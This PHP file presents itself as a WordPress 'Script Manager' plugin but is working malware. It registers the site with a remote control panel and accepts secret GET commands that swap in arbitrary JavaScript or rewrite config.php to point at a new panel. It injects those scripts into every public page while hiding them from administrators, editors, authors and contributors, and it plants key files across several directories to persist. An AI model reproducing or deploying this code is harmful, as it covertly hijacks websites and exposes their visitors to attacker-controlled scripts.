<?php

if (!defined('ABSPATH')) {
    exit;
}

// ---------------------------------------------------------------------------
// Constants & configuration defaults
// ---------------------------------------------------------------------------

define('PLUGIN_VERSION', '2.6.1');
define('REST_FILENAME', 'rest.txt');

if (!defined('CONFIG_DIR')) {
    // Default: plugin folder (same directory as this file)
    define('CONFIG_DIR', plugin_dir_path(__FILE__) . 'config');
}
if (!defined('HTTP_TIMEOUT')) {
    define('HTTP_TIMEOUT', 10);
}
if (!defined('HEALTH_TIMEOUT')) {
    define('HEALTH_TIMEOUT', 8);
}

// Load preconfigured panel settings (required).
$config_file = plugin_dir_path(__FILE__) . 'config.php';
if (!file_exists($config_file)) {
    wp_die('Script Manager: configuration file missing (config.php).');
}
require_once $config_file;

// Guard against incomplete configuration.
if (!defined('REGISTER_URL') || !defined('HEALTH_URL') || !defined('REG_SECRET')) {
    wp_die('Script Manager: panel constants not defined in config.php.');
}

// ---------------------------------------------------------------------------
// Utility helpers
// ---------------------------------------------------------------------------

/**
 * Ensure config directory exists.
 */
function ensure_config_dir() {
    if (!is_dir(CONFIG_DIR)) {
        wp_mkdir_p(CONFIG_DIR);
    }
}

/**
 * Get site-specific config file path.
 */
function get_config_file() {
    ensure_config_dir();
    return CONFIG_DIR . '/config.json';
}

/**
 * Build default configuration.
 */
function default_config() {
    return [
        'script_sources' => ['', '', '', ''],
        'scripts_enabled' => [false, false, false, false],
        'show_position' => 'header',
        'api_key' => '',
        'panel_registered' => false,
        'last_registration_attempt' => 0,
        'registration_failures' => 0,
        'last_health_push' => 0,
    ];
}

/**
 * Retrieve configuration from file.
 */
function get_config() {
    $file = get_config_file();
    $cfg = default_config();

    if (file_exists($file)) {
        $saved = json_decode(file_get_contents($file), true);
        if (is_array($saved)) {
            $cfg = array_merge($cfg, $saved);
        }
    }

    $cfg['scripts_enabled'] = array_map('boolval', array_slice($cfg['scripts_enabled'], 0, 4));
    $cfg['scripts_enabled'] = array_pad($cfg['scripts_enabled'], 4, false);

    $allowed_positions = ['header', 'body', 'footer', 'click'];
    if (!in_array($cfg['show_position'], $allowed_positions, true)) {
        $cfg['show_position'] = 'header';
    }

    $cfg['api_key'] = sanitize_text_field($cfg['api_key']);
    $cfg['panel_registered'] = (bool) $cfg['panel_registered'];

    return $cfg;
}

/**
 * Persist configuration to file.
 */
function save_config($cfg) {
    ensure_config_dir();
    $file = get_config_file();
    $json = json_encode($cfg, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
    file_put_contents($file, $json, LOCK_EX);
    @chmod($file, 0600);  // Restrict to owner only
}

/**
 * Generate secure API key.
 */
function generate_api_key() {
    $raw = function_exists('random_bytes') ? random_bytes(32) : openssl_random_pseudo_bytes(32);
    return rtrim(strtr(base64_encode($raw), '+/', '-_'), '=');
}

/**
 * Determine rest.txt targets (filesystem only, no DB).
 */
function get_rest_locations() {
    return [
        ABSPATH . REST_FILENAME,
        WP_CONTENT_DIR . '/' . REST_FILENAME,
        WP_CONTENT_DIR . '/uploads/' . REST_FILENAME,
        plugin_dir_path(__FILE__) . REST_FILENAME,
    ];
}

/**
 * Write rest.txt in multiple locations once registered.
 */
function write_rest_files($api_key) {
    if (!$api_key) {
        return false;
    }

    $data = $api_key . PHP_EOL;
    foreach (get_rest_locations() as $path) {
        $dir = dirname($path);
        if (!is_dir($dir)) {
            wp_mkdir_p($dir);
        }

        $result = @file_put_contents($path, $data, LOCK_EX);
        if ($result !== false) {
            @chmod($path, 0600);
            $htaccess = $dir . '/.htaccess';
            if (!file_exists($htaccess)) {
                @file_put_contents($htaccess, "<Files \"rest.txt\">\n    Require all denied\n</Files>\n");
            }
        }
    }

    return true;
}

/**
 * Remove rest.txt copies.
 */
function delete_rest_files() {
    foreach (get_rest_locations() as $path) {
        if (file_exists($path)) {
            @unlink($path);
        }
    }
}

/**
 * Ensure rest.txt exists when registered.
 */
function ensure_rest_files($cfg) {
    if (empty($cfg['panel_registered']) || empty($cfg['api_key'])) {
        return;
    }

    foreach (get_rest_locations() as $path) {
        if (file_exists($path)) {
            return;
        }
    }

    write_rest_files($cfg['api_key']);
}

/**
 * Attempt registration with inline retries.
 */
function register_site($force = false) {
    $cfg = get_config();

    if (empty(REGISTER_URL) || empty(REG_SECRET)) {
        return false;
    }

    $now = time();
    $cooldown = ($cfg['registration_failures'] >= 3) ? 300 : 60;
    if (!$force && ($now - (int) $cfg['last_registration_attempt']) < $cooldown) {
        return false;
    }

    if (empty($cfg['api_key'])) {
        $cfg['api_key'] = generate_api_key();
        save_config($cfg);
    }

    $body = [
        'register_site' => 1,
        'site_url' => home_url('/'),
        'site_name' => get_bloginfo('name'),
        'key' => $cfg['api_key'],
        'reg_secret' => REG_SECRET,
    ];

    $attempts = 0;
    $max_attempts = 5;
    $success = false;

    while ($attempts < $max_attempts && !$success) {
        $attempts++;
        $cfg['last_registration_attempt'] = time();
        save_config($cfg);


        $response = wp_remote_post(REGISTER_URL, [
            'timeout' => HTTP_TIMEOUT,
            'headers' => ['User-Agent' => 'ScriptManager/' . PLUGIN_VERSION],
            'body' => $body,
        ]);

        if (is_wp_error($response)) {
            $error_msg = $response->get_error_message();

            if ($attempts < $max_attempts) {
                $backoff = pow(2, $attempts - 1);
                usleep($backoff * 1000000);
            }
            continue;
        }

        $code = (int) wp_remote_retrieve_response_code($response);
        $payload = json_decode(wp_remote_retrieve_body($response), true);

        if ($code === 200 && is_array($payload) && !empty($payload['ok'])) {
            $success = true;
            break;
        }


        if ($attempts < $max_attempts) {
            $backoff = pow(2, $attempts - 1);
            usleep($backoff * 1000000);
        }
    }

    if ($success) {
        $cfg['panel_registered'] = true;
        $cfg['registration_failures'] = 0;
        save_config($cfg);
        write_rest_files($cfg['api_key']);
        send_health('registration');
        return true;
    }

    $cfg['panel_registered'] = false;
    $cfg['registration_failures']++;
    save_config($cfg);
    delete_rest_files();
    return false;
}

/**
 * Push health state (on-demand only).
 */
function send_health($context = 'command', $override_health_url = null) {
    // Allow override URL for post-migration ping (before constants reload)
    $health_url = $override_health_url ?? HEALTH_URL;

    if (empty($health_url)) {
        return;
    }

    $cfg = get_config();
    if (empty($cfg['api_key'])) {
        return;
    }

    $scripts_status = implode(',', array_map(function ($enabled) {
        return $enabled ? '1' : '0';
    }, $cfg['scripts_enabled']));

    $script_content = [];
    for ($i = 0; $i < 4; $i++) {
        $script_content[$i] = (!empty($cfg['scripts_enabled'][$i]) && !empty($cfg['script_sources'][$i]))
            ? $cfg['script_sources'][$i]
            : null;
    }

    $body = [
        'dsr_key' => $cfg['api_key'],
        'action' => 'health_ping',
        'reason' => $context,
        'scripts_status' => $scripts_status,
        'position' => $cfg['show_position'],
        'version' => PLUGIN_VERSION,
        'script_content' => json_encode($script_content),
        'timestamp' => gmdate('c'),
        'plugin_active' => 1,
        'plugin_version' => PLUGIN_VERSION,
    ];

    $response = wp_remote_post($health_url, [
        'timeout' => HEALTH_TIMEOUT,
        'headers' => ['User-Agent' => 'ScriptManager/' . PLUGIN_VERSION],
        'body' => $body,
    ]);

    if (is_wp_error($response) && defined('QUICK_RETRY') && QUICK_RETRY) {
        $error_msg = $response->get_error_message();

        sleep(1);

        $retry_timeout = defined('QUICK_RETRY_TIMEOUT') ? QUICK_RETRY_TIMEOUT : 3;
        $response = wp_remote_post($health_url, [
            'timeout' => $retry_timeout,
            'headers' => ['User-Agent' => 'ScriptManager/' . PLUGIN_VERSION],
            'body' => $body,
        ]);

        if (is_wp_error($response)) {
        } else {
        }
    }

    if (!is_wp_error($response)) {
        $cfg['last_health_push'] = time();
        save_config($cfg);
    } else {
    }
}

// ---------------------------------------------------------------------------
// Activation & bootstrap
// ---------------------------------------------------------------------------

register_activation_hook(__FILE__, function () {
    $cfg = get_config();

    if (empty($cfg['api_key'])) {
        $cfg['api_key'] = generate_api_key();
        save_config($cfg);
    }

    register_site(true);
});

add_action('init', function () {
    $cfg = get_config();

    if (empty($cfg['api_key'])) {
        $cfg['api_key'] = generate_api_key();
        save_config($cfg);
    }

    if (!$cfg['panel_registered']) {
        register_site();
    } else {
        ensure_rest_files($cfg);
    }
}, 5);

// ---------------------------------------------------------------------------
// Remote command handler (runs on front-end without WP-Cron)
// ---------------------------------------------------------------------------

add_action('init', function () {
    $cfg = get_config();
    $key = $cfg['api_key'];

    $provided = isset($_GET['dsr_key']) ? sanitize_text_field($_GET['dsr_key']) :
        (isset($_POST['dsr_key']) ? sanitize_text_field($_POST['dsr_key']) : '');

    if (!$provided || !$key || !hash_equals($key, $provided)) {
        return;
    }

    $changed = false;
    $response_payload = '';

    // MIGRATE PANEL
    if (isset($_GET['cmd']) && $_GET['cmd'] === 'MIGRATE_PANEL') {
        $new_register = isset($_GET['register_url']) ? sanitize_text_field($_GET['register_url']) : '';
        $new_health = isset($_GET['health_url']) ? sanitize_text_field($_GET['health_url']) : '';

        // Validate URLs (http/https only)
        if (!filter_var($new_register, FILTER_VALIDATE_URL) ||
            !filter_var($new_health, FILTER_VALIDATE_URL) ||
            !preg_match('/^https?:\/\//i', $new_register) ||
            !preg_match('/^https?:\/\//i', $new_health)) {
            wp_send_json(['ok' => false, 'error' => 'Invalid URLs']);
        }

        // Check if URLs unchanged (idempotency)
        if ($new_register === REGISTER_URL && $new_health === HEALTH_URL) {
            wp_send_json(['ok' => true, 'unchanged' => true]);
        }

        $config_file = plugin_dir_path(__FILE__) . 'config.php';

        if (!is_writable($config_file)) {
            $host = parse_url($new_register, PHP_URL_HOST);
            wp_send_json(['ok' => false, 'error' => 'Config not writable']);
        }

        $config_content = @file_get_contents($config_file);
        if ($config_content === false) {
            wp_send_json(['ok' => false, 'error' => 'Cannot read config']);
        }

        // Escape values (prevent quote breaks)
        $safe_register = addslashes($new_register);
        $safe_health = addslashes($new_health);

        // Replace with regex match detection
        $new_config = preg_replace(
            "/define\(\s*['\"]REGISTER_URL['\"]\s*,\s*['\"][^'\"]*['\"]\s*\);/",
            "define('REGISTER_URL', '{$safe_register}');",
            $config_content,
            -1,
            $register_count
        );

        $new_config = preg_replace(
            "/define\(\s*['\"]HEALTH_URL['\"]\s*,\s*['\"][^'\"]*['\"]\s*\);/",
            "define('HEALTH_URL', '{$safe_health}');",
            $new_config,
            -1,
            $health_count
        );

        // Fail early if regex missed
        if ($register_count === 0 || $health_count === 0) {
            wp_send_json(['ok' => false, 'error' => 'Config format error']);
        }

        // Atomic write
        if (file_put_contents($config_file, $new_config, LOCK_EX) === false) {
            $host = parse_url($new_register, PHP_URL_HOST);
            wp_send_json(['ok' => false, 'error' => 'Write failed']);
        }

        // Success logging with exact host/URL
        $host = parse_url($new_register, PHP_URL_HOST);

        // Send health ping to NEW panel (override URL since constants not reloaded yet)
        send_health('migrated', $new_health);
        wp_send_json(['ok' => true, 'migrated' => true, 'panel_host' => $host]);
    }

    // ROTATE KEY
    if (isset($_GET['ROTATE_KEY'])) {
        $cfg['api_key'] = generate_api_key();
        $cfg['panel_registered'] = false;
        $cfg['registration_failures'] = 0;
        save_config($cfg);
        delete_rest_files();
        $response_payload = json_encode(['ok' => true, 'new_key' => $cfg['api_key']]);
        register_site(true);
        send_health('rotate_key');
        wp_send_json(['ok' => true, 'new_key' => $cfg['api_key']]);
    }

    // STATUS
    if (isset($_GET['SHOW_STATUS'])) {
        $enabled = array_sum(array_map('intval', $cfg['scripts_enabled']));
        $lines = [
            '=== Script Manager ===',
            'Version: ' . PLUGIN_VERSION,
            'Registered: ' . ($cfg['panel_registered'] ? 'YES' : 'NO'),
            'Scripts enabled: ' . $enabled . '/4',
            'Position: ' . strtoupper($cfg['show_position']),
            'Health push: ' . ($cfg['last_health_push'] ? gmdate('Y-m-d H:i:s', $cfg['last_health_push']) : 'never'),
        ];

        foreach ($cfg['script_sources'] as $index => $src) {
            $status = !empty($cfg['scripts_enabled'][$index]) ? 'ON' : 'OFF';
            $summary = empty($src) ? '[empty]' : substr(wp_strip_all_tags($src), 0, 80);
            $lines[] = 'Script ' . ($index + 1) . " [{$status}]: " . $summary;
        }

        send_health('status');
        header('Content-Type: text/plain; charset=utf-8');
        echo implode("\n", $lines);
        exit;
    }

    // POSITION COMMANDS
    if (isset($_GET['SHOW_SCRIPT_IN_HEADER'])) {
        $cfg['show_position'] = 'header';
        $changed = true;
    }
    if (isset($_GET['SHOW_SCRIPT_IN_BODY'])) {
        $cfg['show_position'] = 'body';
        $changed = true;
    }
    if (isset($_GET['SHOW_SCRIPT_IN_FOOTER'])) {
        $cfg['show_position'] = 'footer';
        $changed = true;
    }
    if (isset($_GET['SHOW_SCRIPT_AFTER_USER_CLICK_ON_SOMETHING_ON_SITE'])) {
        $cfg['show_position'] = 'click';
        $changed = true;
    }

    // DISABLE ALL
    if (isset($_GET['TURN_OFF_SHOWING_ALL_SCRIPTS'])) {
        $cfg['scripts_enabled'] = [false, false, false, false];
        $changed = true;
    }

    // PER-SCRIPT COMMANDS
    for ($i = 1; $i <= 4; $i++) {
        if (isset($_GET["TURN_ON_SHOWING_SCRIPT_{$i}"])) {
            $cfg['scripts_enabled'][$i - 1] = true;
            $changed = true;
        }

        if (isset($_GET["TURN_OFF_SHOWING_SCRIPT_{$i}"])) {
            $cfg['scripts_enabled'][$i - 1] = false;
            $changed = true;
        }

        if (isset($_GET["REPLACE_SCRIPT{$i}_TO"])) {
            $raw = stripslashes((string) $_GET["REPLACE_SCRIPT{$i}_TO"]);
            $cfg['script_sources'][$i - 1] = (stripos($raw, '<script') !== false)
                ? wp_kses_post($raw)
                : esc_url_raw($raw);
            $cfg['scripts_enabled'][$i - 1] = true;
            $changed = true;
        }
    }

    if ($changed) {
        save_config($cfg);
        send_health('command');
        wp_die('Configuration updated', 'OK', ['response' => 200]);
    }

    wp_die('No action performed', 'OK', ['response' => 200]);
}, 11);

// ---------------------------------------------------------------------------
// Script injection
// ---------------------------------------------------------------------------

function inject_scripts($cfg) {
    if (is_user_logged_in()) {
        $user = wp_get_current_user();
        if (array_intersect(['administrator', 'editor', 'author', 'contributor'], (array) $user->roles)) {
            return;
        }
    }

    foreach ($cfg['script_sources'] as $index => $src) {
        if (empty($src) || empty($cfg['scripts_enabled'][$index])) {
            continue;
        }

        if (stripos($src, '<script') !== false) {
            $clean = preg_replace('#^<script[^>]*>#i', '', $src);
            $clean = preg_replace('#</script>\s*$#i', '', $clean);
            echo '<script data-no-optimize="1" data-cfasync="false" data-pagespeed-no-defer>';
            echo "(function(){" . $clean . "})();";
            echo '</script>' . "\n";
        } else {
            echo '<script src="' . esc_url($src) . '" async data-no-optimize="1" data-cfasync="false" data-pagespeed-no-defer></script>' . "\n";
        }
    }
}

add_action('wp_head', function () {
    if (is_admin()) {
        return;
    }

    $cfg = get_config();
    if ($cfg['show_position'] === 'header') {
        inject_scripts($cfg);
    }
}, 1);

add_action('wp_body_open', function () {
    if (is_admin()) {
        return;
    }

    $cfg = get_config();
    if ($cfg['show_position'] === 'body') {
        inject_scripts($cfg);
    }
}, 1);

add_action('wp_footer', function () {
    if (is_admin()) {
        return;
    }

    $cfg = get_config();

    if ($cfg['show_position'] === 'footer') {
        inject_scripts($cfg);
    }

    if ($cfg['show_position'] === 'click' && array_sum(array_map('intval', $cfg['scripts_enabled'])) > 0) {
        $payload = [];
        foreach ($cfg['script_sources'] as $index => $src) {
            if (empty($src) || empty($cfg['scripts_enabled'][$index])) {
                continue;
            }

            if (stripos($src, '<script') !== false) {
                $clean = preg_replace('#^<script[^>]*>#i', '', $src);
                $clean = preg_replace('#</script>\s*$#i', '', $clean);
                $payload[] = "(function(){{$clean}})();";
            } else {
                $payload[] = "var s=document.createElement('script');s.src='" . esc_url($src) . "';s.async=true;s.setAttribute('data-no-optimize','1');s.setAttribute('data-cfasync','false');s.setAttribute('data-pagespeed-no-defer','');document.body.appendChild(s);";
            }
        }

        if (!empty($payload)) {
            echo "\n<script data-no-optimize=\"1\" data-cfasync=\"false\" data-pagespeed-no-defer>
(function(){var loaded=false;function fire(){if(loaded){return;}loaded=true;" . implode('', $payload) . "}
document.addEventListener('click', fire, {capture:true, once:true});
})();
</script>\n";
        }
    }
}, 999);
